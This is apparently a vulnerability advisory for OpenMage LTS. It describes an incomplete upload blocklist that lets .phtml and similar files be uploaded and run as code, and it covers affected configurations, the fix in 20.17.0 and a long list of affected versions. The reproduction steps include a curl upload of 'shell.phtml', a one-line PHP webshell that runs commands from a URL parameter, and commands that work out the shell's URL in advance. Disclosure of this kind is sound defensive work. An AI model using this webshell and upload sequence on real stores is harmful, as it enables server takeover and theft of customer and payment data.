OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution
The advisory, in context
The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
Affected Version
- Project: OpenMage/magento-lts
- Vulnerable File:
https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php - Vulnerable Lines: 230-237 (
_validateUploadedFile()) - Configuration:
app/code/core/Mage/Catalog/etc/config.xml:824
Root Cause
The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
This misses the comprehensive protected_extensions blocklist defined elsewhere:
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi,
htm, html, pht, phtml, shtml
Vulnerable Code
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!
}
}
Steps to Reproduce
1. Environment Setup
Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)
2. Exploitation
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
-F "file=@shell.phtml;filename=shell.phtml"
Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:
Subdirectory — getDispretionPath($filename) takes the first two characters of the
uploaded filename and uses them as nested directory names:
filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/
Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the
uploaded payload (File.php:245):
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath = $dispersion . DS . $fileHash . '.' . $extension;
Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
Result: RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />
Affected Deployments
| Configuration | Status |
|---|---|
Apache + mod_php (with php_flag engine 0) |
SAFE |
| Apache + PHP-FPM | VULNERABLE |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | VULNERABLE |
Impact
- Remote Code Execution: Full server compromise through webshell upload
- Data Exfiltration: Access to database credentials, customer PII, payment data
- Lateral Movement: Pivot to internal infrastructure
- Supply Chain: Inject malicious code into served content
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 20.17.0
Fixed in 20.17.0
90 explicitly affected versions
1.9.1.1, 1.9.2.0, 1.9.2.1, 1.9.2.2, 1.9.2.3, 1.9.2.4, 1.9.3.0, 1.9.3.1, v19.4.0, v19.4.1, v19.4.10, v19.4.11, v19.4.12, v19.4.13, v19.4.14, v19.4.15, v19.4.16, v19.4.17, v19.4.18, v19.4.19, v19.4.2, v19.4.20, v19.4.21, v19.4.22, v19.4.23, v19.4.3, v19.4.4, v19.4.5, v19.4.6, v19.4.7, v19.4.8, v19.4.9, v19.5.0, v19.5.0-rc1, v19.5.0-rc2, v19.5.0-rc3, v19.5.0-rc4, v19.5.0-rc5, v19.5.1, v19.5.2, v19.5.3, v20.0.0, v20.0.1, v20.0.10, v20.0.11, v20.0.12, v20.0.13, v20.0.14, v20.0.15, v20.0.16, v20.0.17, v20.0.18, v20.0.19, v20.0.2, v20.0.20, v20.0.3, v20.0.4, v20.0.5, v20.0.6, v20.0.7, v20.0.8, v20.1.0, v20.1.0-rc1, v20.1.0-rc2, v20.1.0-rc3, v20.1.0-rc4, v20.1.0-rc5, v20.1.0-rc6, v20.1.0-rc7, v20.1.1, v20.10.0, v20.10.1, v20.10.2, v20.11.0, v20.12.0, v20.12.1, v20.12.2, v20.12.3, v20.13.0, v20.14.0, v20.15.0, v20.16.0, v20.2.0, v20.3.0, v20.4.0, v20.5.0, v20.6.0, v20.7.0, v20.8.0, v20.9.0
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "20.17.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.9.1.1",
"1.9.2.0",
"1.9.2.1",
"1.9.2.2",
"1.9.2.3",
"1.9.2.4",
"1.9.3.0",
"1.9.3.1",
"v19.4.0",
"v19.4.1",
"v19.4.10",
"v19.4.11",
"v19.4.12",
"v19.4.13",
"v19.4.14",
"v19.4.15",
"v19.4.16",
"v19.4.17",
"v19.4.18",
"v19.4.19",
"v19.4.2",
"v19.4.20",
"v19.4.21",
"v19.4.22",
"v19.4.23",
"v19.4.3",
"v19.4.4",
"v19.4.5",
"v19.4.6",
"v19.4.7",
"v19.4.8",
"v19.4.9",
"v19.5.0",
"v19.5.0-rc1",
"v19.5.0-rc2",
"v19.5.0-rc3",
"v19.5.0-rc4",
"v19.5.0-rc5",
"v19.5.1",
"v19.5.2",
"v19.5.3",
"v20.0.0",
"v20.0.1",
"v20.0.10",
"v20.0.11",
"v20.0.12",
"v20.0.13",
"v20.0.14",
"v20.0.15",
"v20.0.16",
"v20.0.17",
"v20.0.18",
"v20.0.19",
"v20.0.2",
"v20.0.20",
"v20.0.3",
"v20.0.4",
"v20.0.5",
"v20.0.6",
"v20.0.7",
"v20.0.8",
"v20.1.0",
"v20.1.0-rc1",
"v20.1.0-rc2",
"v20.1.0-rc3",
"v20.1.0-rc4",
"v20.1.0-rc5",
"v20.1.0-rc6",
"v20.1.0-rc7",
"v20.1.1",
"v20.10.0",
"v20.10.1",
"v20.10.2",
"v20.11.0",
"v20.12.0",
"v20.12.1",
"v20.12.2",
"v20.12.3",
"v20.13.0",
"v20.14.0",
"v20.15.0",
"v20.16.0",
"v20.2.0",
"v20.3.0",
"v20.4.0",
"v20.5.0",
"v20.6.0",
"v20.7.0",
"v20.8.0",
"v20.9.0"
]
}